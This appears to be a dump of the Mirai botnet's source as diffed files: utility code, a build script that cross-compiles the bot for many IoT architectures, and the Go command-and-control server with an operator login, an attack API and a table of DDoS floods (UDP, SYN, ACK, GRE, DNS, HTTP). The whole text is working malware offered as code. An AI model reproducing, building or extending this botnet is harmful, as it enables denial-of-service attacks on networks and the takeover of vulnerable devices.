addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
|
||||
addr.sin_port = htons(53);
|
||||
|
||||
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
||||
|
||||
getsockname(fd, (struct sockaddr *)&addr, &addr_len);
|
||||
close(fd);
|
||||
return addr.sin_addr.s_addr;
|
||||
}
|
||||
|
||||
char *util_fdgets(char *buffer, int buffer_size, int fd)
|
||||
{
|
||||
int got = 0, total = 0;
|
||||
do
|
||||
{
|
||||
got = read(fd, buffer + total, 1);
|
||||
total = got == 1 ? total + 1 : total;
|
||||
}
|
||||
while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n');
|
||||
|
||||
return total == 0 ? NULL : buffer;
|
||||
}
|
||||
|
||||
static inline int util_isupper(char c)
|
||||
{
|
||||
return (c >= 'A' && c <= 'Z');
|
||||
}
|
||||
|
||||
static inline int util_isalpha(char c)
|
||||
{
|
||||
return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'));
|
||||
}
|
||||
|
||||
static inline int util_isspace(char c)
|
||||
{
|
||||
return (c == ' ' || c == '\t' || c == '\n' || c == '\12');
|
||||
}
|
||||
|
||||
static inline int util_isdigit(char c)
|
||||
{
|
||||
return (c >= '0' && c <= '9');
|
||||
}
|
22
mirai/bot/util.h
Executable file
22
mirai/bot/util.h
Executable file
@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
int util_strlen(char *);
|
||||
BOOL util_strncmp(char *, char *, int);
|
||||
BOOL util_strcmp(char *, char *);
|
||||
int util_strcpy(char *, char *);
|
||||
void util_memcpy(void *, void *, int);
|
||||
void util_zero(void *, int);
|
||||
int util_atoi(char *, int);
|
||||
char *util_itoa(int, int, char *);
|
||||
int util_memsearch(char *, int, char *, int);
|
||||
int util_stristr(char *, int, char *);
|
||||
ipv4_t util_local_addr(void);
|
||||
char *util_fdgets(char *, int, int);
|
||||
|
||||
static inline int util_isupper(char);
|
||||
static inline int util_isalpha(char);
|
||||
static inline int util_isspace(char);
|
||||
static inline int util_isdigit(char);
|
||||
|
63
mirai/build.sh
Executable file
63
mirai/build.sh
Executable file
@ -0,0 +1,63 @@
|
||||
#!/bin/bash
|
||||
|
||||
FLAGS=""
|
||||
|
||||
function compile_bot {
|
||||
"$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
|
||||
"$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr
|
||||
}
|
||||
|
||||
if [ $# == 2 ]; then
|
||||
if [ "$2" == "telnet" ]; then
|
||||
FLAGS="-DMIRAI_TELNET"
|
||||
elif [ "$2" == "ssh" ]; then
|
||||
FLAGS="-DMIRAI_SSH"
|
||||
fi
|
||||
else
|
||||
echo "Missing build type."
|
||||
echo "Usage: $0 <debug | release> <telnet | ssh>"
|
||||
fi
|
||||
|
||||
if [ $# == 0 ]; then
|
||||
echo "Usage: $0 <debug | release> <telnet | ssh>"
|
||||
elif [ "$1" == "release" ]; then
|
||||
rm release/mirai.*
|
||||
rm release/miraint.*
|
||||
go build -o release/cnc cnc/*.go
|
||||
compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH"
|
||||
compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static"
|
||||
|
||||
compile_bot i586 miraint.x86 "-static"
|
||||
compile_bot mips miraint.mips "-static"
|
||||
compile_bot mipsel miraint.mpsl "-static"
|
||||
compile_bot armv4l miraint.arm "-static"
|
||||
compile_bot armv5l miraint.arm5n " "
|
||||
compile_bot armv6l miraint.arm7 "-static"
|
||||
compile_bot powerpc miraint.ppc "-static"
|
||||
compile_bot sparc miraint.spc "-static"
|
||||
compile_bot m68k miraint.m68k "-static"
|
||||
compile_bot sh4 miraint.sh4 "-static"
|
||||
|
||||
go build -o release/scanListen tools/scanListen.go
|
||||
elif [ "$1" == "debug" ]; then
|
||||
gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
|
||||
mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
|
||||
armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm
|
||||
armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7
|
||||
sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4
|
||||
gcc -std=c99 tools/enc.c -g -o debug/enc
|
||||
gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
|
||||
gcc -std=c99 tools/badbot.c -g -o debug/badbot
|
||||
go build -o debug/cnc cnc/*.go
|
||||
go build -o debug/scanListen tools/scanListen.go
|
||||
else
|
||||
echo "Unknown parameter $1: $0 <debug | release>"
|
||||
fi
|
269
mirai/cnc/admin.go
Executable file
269
mirai/cnc/admin.go
Executable file
@ -0,0 +1,269 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
"strings"
|
||||
"io/ioutil"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Admin struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func NewAdmin(conn net.Conn) *Admin {
|
||||
return &Admin{conn}
|
||||
}
|
||||
|
||||
func (this *Admin) Handle() {
|
||||
this.conn.Write([]byte("\033[?1049h"))
|
||||
this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
|
||||
|
||||
defer func() {
|
||||
this.conn.Write([]byte("\033[?1049l"))
|
||||
}()
|
||||
|
||||
headerb, err := ioutil.ReadFile("prompt.txt")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
header := string(headerb)
|
||||
this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
|
||||
|
||||
// Get username
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
|
||||
username, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Get password
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
|
||||
password, err := this.ReadLine(true)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||||
this.conn.Write([]byte("\r\n"))
|
||||
spinBuf := []byte{'-', '\\', '|', '/'}
|
||||
for i := 0; i < 15; i++ {
|
||||
this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
|
||||
time.Sleep(time.Duration(300) * time.Millisecond)
|
||||
}
|
||||
|
||||
var loggedIn bool
|
||||
var userInfo AccountInfo
|
||||
if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
|
||||
this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
|
||||
this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
|
||||
buf := make([]byte, 1)
|
||||
this.conn.Read(buf)
|
||||
return
|
||||
}
|
||||
|
||||
this.conn.Write([]byte("\r\n\033[0m"))
|
||||
this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n"))
|
||||
time.Sleep(250 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
|
||||
for i := 0; i < 4; i++ {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1)))
|
||||
}
|
||||
this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
|
||||
time.Sleep(1 * time.Second)
|
||||
|
||||
go func() {
|
||||
i := 0
|
||||
for {
|
||||
var BotCount int
|
||||
if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
|
||||
BotCount = userInfo.maxBots
|
||||
} else {
|
||||
BotCount = clientList.Count()
|
||||
}
|
||||
|
||||
time.Sleep(time.Second)
|
||||
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
|
||||
this.conn.Close()
|
||||
break
|
||||
}
|
||||
i++
|
||||
if i % 60 == 0 {
|
||||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n"))
|
||||
for {
|
||||
var botCatagory string
|
||||
var botCount int
|
||||
this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m"))
|
||||
cmd, err := this.ReadLine(false)
|
||||
if err != nil || cmd == "exit" || cmd == "quit" {
|
||||
return
|
||||
}
|
||||
if cmd == "" {
|
||||
continue
|
||||
}
|
||||
botCount = userInfo.maxBots
|
||||
|
||||
if userInfo.admin == 1 && cmd == "adduser" {
|
||||
this.conn.Write([]byte("Enter new username: "))
|
||||
new_un, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
this.conn.Write([]byte("Enter new password: "))
|
||||
new_pw, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
|
||||
max_bots_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
max_bots, err := strconv.Atoi(max_bots_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("Max attack duration (-1 for none): "))
|
||||
duration_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
duration, err := strconv.Atoi(duration_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("Cooldown time (0 for none): "))
|
||||
cooldown_str, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cooldown, err := strconv.Atoi(cooldown_str)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
|
||||
continue
|
||||
}
|
||||
this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
|
||||
confirm, err := this.ReadLine(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if confirm != "y" {
|
||||
continue
|
||||
}
|
||||
if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
|
||||
} else {
|
||||
this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
|
||||
}
|
||||
continue
|
||||
}
|
||||
if userInfo.admin == 1 && cmd == "botcount" {
|
||||
m := clientList.Distribution()
|
||||
for k, v := range m {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
|
||||
}
|
||||
continue
|
||||
}
|
||||
if cmd[0] == '-' {
|
||||
countSplit := strings.SplitN(cmd, " ", 2)
|
||||
count := countSplit[0][1:]
|
||||
botCount, err = strconv.Atoi(count)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
|
||||
continue
|
||||
}
|
||||
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
|
||||
continue
|
||||
}
|
||||
cmd = countSplit[1]
|
||||
}
|
||||
if userInfo.admin == 1 && cmd[0] == '@' {
|
||||
cataSplit := strings.SplitN(cmd, " ", 2)
|
||||
botCatagory = cataSplit[0][1:]
|
||||
cmd = cataSplit[1]
|
||||
}
|
||||
|
||||
atk, err := NewAttack(cmd, userInfo.admin)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else {
|
||||
buf, err := atk.Build()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else {
|
||||
if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
|
||||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||||
} else if !database.ContainsWhitelistedTargets(atk) {
|
||||
clientList.QueueBuf(buf, botCount, botCatagory)
|
||||
} else {
|
||||
fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *Admin) ReadLine(masked bool) (string, error) {
|
||||
buf := make([]byte, 1024)
|
||||
bufPos := 0
|
||||
|
||||
for {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+1])
|
||||
if err != nil || n != 1 {
|
||||
return "", err
|
||||
}
|
||||
if buf[bufPos] == '\xFF' {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+2])
|
||||
if err != nil || n != 2 {
|
||||
return "", err
|
||||
}
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
|
||||
if bufPos > 0 {
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
bufPos--
|
||||
}
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
|
||||
this.conn.Write([]byte("\r\n"))
|
||||
return string(buf[:bufPos]), nil
|
||||
} else if buf[bufPos] == 0x03 {
|
||||
this.conn.Write([]byte("^C\r\n"))
|
||||
return "", nil
|
||||
} else {
|
||||
if buf[bufPos] == '\x1B' {
|
||||
buf[bufPos] = '^';
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
bufPos++;
|
||||
buf[bufPos] = '[';
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
} else if masked {
|
||||
this.conn.Write([]byte("*"))
|
||||
} else {
|
||||
this.conn.Write([]byte(string(buf[bufPos])))
|
||||
}
|
||||
}
|
||||
bufPos++
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
92
mirai/cnc/api.go
Executable file
92
mirai/cnc/api.go
Executable file
@ -0,0 +1,92 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
"strings"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Api struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func NewApi(conn net.Conn) *Api {
|
||||
return &Api{conn}
|
||||
}
|
||||
|
||||
func (this *Api) Handle() {
|
||||
var botCount int
|
||||
var apiKeyValid bool
|
||||
var userInfo AccountInfo
|
||||
|
||||
// Get command
|
||||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
cmd, err := this.ReadLine()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed reading line\r\n"))
|
||||
return
|
||||
}
|
||||
passwordSplit := strings.SplitN(cmd, "|", 2)
|
||||
if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid {
|
||||
this.conn.Write([]byte("ERR|API code invalid\r\n"))
|
||||
return
|
||||
}
|
||||
botCount = userInfo.maxBots
|
||||
cmd = passwordSplit[1]
|
||||
if cmd[0] == '-' {
|
||||
countSplit := strings.SplitN(cmd, " ", 2)
|
||||
count := countSplit[0][1:]
|
||||
botCount, err = strconv.Atoi(count)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed parsing botcount\r\n"))
|
||||
return
|
||||
}
|
||||
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
|
||||
this.conn.Write([]byte("ERR|Specified bot count over limit\r\n"))
|
||||
return
|
||||
}
|
||||
cmd = countSplit[1]
|
||||
}
|
||||
|
||||
atk, err := NewAttack(cmd, userInfo.admin)
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|Failed parsing attack command\r\n"))
|
||||
return
|
||||
}
|
||||
buf, err := atk.Build()
|
||||
if err != nil {
|
||||
this.conn.Write([]byte("ERR|An unknown error occurred\r\n"))
|
||||
return
|
||||
}
|
||||
if database.ContainsWhitelistedTargets(atk) {
|
||||
this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n"))
|
||||
return
|
||||
}
|
||||
if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can {
|
||||
this.conn.Write([]byte("ERR|Attack cannot be launched\r\n"))
|
||||
return
|
||||
}
|
||||
|
||||
clientList.QueueBuf(buf, botCount, "")
|
||||
this.conn.Write([]byte("OK\r\n"))
|
||||
}
|
||||
|
||||
func (this *Api) ReadLine() (string, error) {
|
||||
buf := make([]byte, 1024)
|
||||
bufPos := 0
|
||||
|
||||
for {
|
||||
n, err := this.conn.Read(buf[bufPos:bufPos+1])
|
||||
if err != nil || n != 1 {
|
||||
return "", err
|
||||
}
|
||||
if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
|
||||
bufPos--
|
||||
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
|
||||
return string(buf[:bufPos]), nil
|
||||
}
|
||||
bufPos++
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
366
mirai/cnc/attack.go
Executable file
366
mirai/cnc/attack.go
Executable file
@ -0,0 +1,366 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"strconv"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"github.com/mattn/go-shellwords"
|
||||
)
|
||||
|
||||
type AttackInfo struct {
|
||||
attackID uint8
|
||||
attackFlags []uint8
|
||||
attackDescription string
|
||||
}
|
||||
|
||||
type Attack struct {
|
||||
Duration uint32
|
||||
Type uint8
|
||||
Targets map[uint32]uint8 // Prefix/netmask
|
||||
Flags map[uint8]string // key=value
|
||||
}
|
||||
|
||||
type FlagInfo struct {
|
||||
flagID uint8
|
||||
flagDescription string
|
||||
}
|
||||
|
||||
var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo {
|
||||
"len": FlagInfo {
|
||||
0,
|
||||
"Size of packet data, default is 512 bytes",
|
||||
},
|
||||
"rand": FlagInfo {
|
||||
1,
|
||||
"Randomize packet data content, default is 1 (yes)",
|
||||
},
|
||||
"tos": FlagInfo {
|
||||
2,
|
||||
"TOS field value in IP header, default is 0",
|
||||
},
|
||||
"ident": FlagInfo {
|
||||
3,
|
||||
"ID field value in IP header, default is random",
|
||||
},
|
||||
"ttl": FlagInfo {
|
||||
4,
|
||||
"TTL field in IP header, default is 255",
|
||||
},
|
||||
"df": FlagInfo {
|
||||
5,
|
||||
"Set the Dont-Fragment bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"sport": FlagInfo {
|
||||
6,
|
||||
"Source port, default is random",
|
||||
},
|
||||
"dport": FlagInfo {
|
||||
7,
|
||||
"Destination port, default is random",
|
||||
},
|
||||
"domain": FlagInfo {
|
||||
8,
|
||||
"Domain name to attack",
|
||||
},
|
||||
"dhid": FlagInfo {
|
||||
9,
|
||||
"Domain name transaction ID, default is random",
|
||||
},
|
||||
"urg": FlagInfo {
|
||||
11,
|
||||
"Set the URG bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"ack": FlagInfo {
|
||||
12,
|
||||
"Set the ACK bit in IP header, default is 0 (no) except for ACK flood",
|
||||
},
|
||||
"psh": FlagInfo {
|
||||
13,
|
||||
"Set the PSH bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"rst": FlagInfo {
|
||||
14,
|
||||
"Set the RST bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"syn": FlagInfo {
|
||||
15,
|
||||
"Set the ACK bit in IP header, default is 0 (no) except for SYN flood",
|
||||
},
|
||||
"fin": FlagInfo {
|
||||
16,
|
||||
"Set the FIN bit in IP header, default is 0 (no)",
|
||||
},
|
||||
"seqnum": FlagInfo {
|
||||
17,
|
||||
"Sequence number value in TCP header, default is random",
|
||||
},
|
||||
"acknum": FlagInfo {
|
||||
18,
|
||||
"Ack number value in TCP header, default is random",
|
||||
},
|
||||
"gcip": FlagInfo {
|
||||
19,
|
||||
"Set internal IP to destination ip, default is 0 (no)",
|
||||
},
|
||||
"method": FlagInfo {
|
||||
20,
|
||||
"HTTP method name, default is get",
|
||||
},
|
||||
"postdata": FlagInfo {
|
||||
21,
|
||||
"POST data, default is empty/none",
|
||||
},
|
||||
"path": FlagInfo {
|
||||
22,
|
||||
"HTTP path, default is /",
|
||||
},
|
||||
/*"ssl": FlagInfo {
|
||||
23,
|
||||
"Use HTTPS/SSL"
|
||||
},
|
||||
*/
|
||||
"conns": FlagInfo {
|
||||
24,
|
||||
"Number of connections",
|
||||
},
|
||||
"source": FlagInfo {
|
||||
25,
|
||||
"Source IP address, 255.255.255.255 for random",
|
||||
},
|
||||
}
|
||||
|
||||
var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo {
|
||||
"udp": AttackInfo {
|
||||
0,
|
||||
[]uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 },
|
||||
"UDP flood",
|
||||
},
|
||||
"vse": AttackInfo {
|
||||
1,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7 },
|
||||
"Valve source engine specific flood",
|
||||
},
|
||||
"dns": AttackInfo {
|
||||
2,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7, 8, 9 },
|
||||
"DNS resolver flood using the targets domain, input IP is ignored",
|
||||
},
|
||||
"syn": AttackInfo {
|
||||
3,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
|
||||
"SYN flood",
|
||||
},
|
||||
"ack": AttackInfo {
|
||||
4,
|
||||
[]uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
|
||||
"ACK flood",
|
||||
},
|
||||
"stomp": AttackInfo {
|
||||
5,
|
||||
[]uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 },
|
||||
"TCP stomp flood",
|
||||
},
|
||||
"greip": AttackInfo {
|
||||
6,
|
||||
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
|
||||
"GRE IP flood",
|
||||
},
|
||||
"greeth": AttackInfo {
|
||||
7,
|
||||
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
|
||||
"GRE Ethernet flood",
|
||||
},
|
||||
"udpplain": AttackInfo {
|
||||
9,
|
||||
[]uint8 {0, 1, 7},
|
||||
"UDP flood with less options. optimized for higher PPS",
|
||||
},
|
||||
"http": AttackInfo {
|
||||
10,
|
||||
[]uint8 {8, 7, 20, 21, 22, 24},
|
||||
"HTTP flood",
|
||||
},
|
||||
}
|
||||
|
||||
func uint8InSlice(a uint8, list []uint8) bool {
|
||||
for _, b := range list {
|
||||
if b == a {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func NewAttack(str string, admin int) (*Attack, error) {
|
||||
atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)}
|
||||
args, _ := shellwords.Parse(str)
|
||||
|
||||
var atkInfo AttackInfo
|
||||
// Parse attack name
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify an attack name")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m"
|
||||
for cmdName, atkInfo := range attackInfoLookup {
|
||||
validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n"
|
||||
}
|
||||
return nil, errors.New(validCmdList)
|
||||
}
|
||||
var exists bool
|
||||
atkInfo, exists = attackInfoLookup[args[0]]
|
||||
if !exists {
|
||||
return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0]))
|
||||
}
|
||||
atk.Type = atkInfo.attackID
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse targets
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify prefix/netmask as targets")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29")
|
||||
}
|
||||
cidrArgs := strings.Split(args[0], ",")
|
||||
if len(cidrArgs) > 255 {
|
||||
return nil, errors.New("Cannot specify more than 255 targets in a single attack!")
|
||||
}
|
||||
for _,cidr := range cidrArgs {
|
||||
prefix := ""
|
||||
netmask := uint8(32)
|
||||
cidrInfo := strings.Split(cidr, "/")
|
||||
if len(cidrInfo) == 0 {
|
||||
return nil, errors.New("Blank target specified!")
|
||||
}
|
||||
prefix = cidrInfo[0]
|
||||
if len(cidrInfo) == 2 {
|
||||
netmaskTmp, err := strconv.Atoi(cidrInfo[1])
|
||||
if err != nil || netmask > 32 || netmask < 0 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr))
|
||||
}
|
||||
netmask = uint8(netmaskTmp)
|
||||
} else if len(cidrInfo) > 2 {
|
||||
return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr))
|
||||
}
|
||||
|
||||
ip := net.ParseIP(prefix)
|
||||
if ip == nil {
|
||||
return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr))
|
||||
}
|
||||
atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask
|
||||
}
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse attack duration time
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify an attack duration")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
return nil, errors.New("\033[37;1mDuration of the attack, in seconds")
|
||||
}
|
||||
duration, err := strconv.Atoi(args[0])
|
||||
if err != nil || duration == 0 || duration > 3600 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0]))
|
||||
}
|
||||
atk.Duration = uint32(duration)
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse flags
|
||||
for len(args) > 0 {
|
||||
if args[0] == "?" {
|
||||
validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n"
|
||||
for _, flagID := range atkInfo.attackFlags {
|
||||
for flagName, flagInfo := range flagInfoLookup {
|
||||
if flagID == flagInfo.flagID {
|
||||
validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n"
|
||||
validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535"
|
||||
return nil, errors.New(validFlags)
|
||||
}
|
||||
flagSplit := strings.SplitN(args[0], "=", 2)
|
||||
if len(flagSplit) != 2 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0]))
|
||||
}
|
||||
flagInfo, exists := flagInfoLookup[flagSplit[0]]
|
||||
if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0]))
|
||||
}
|
||||
if flagSplit[1][0] == '"' {
|
||||
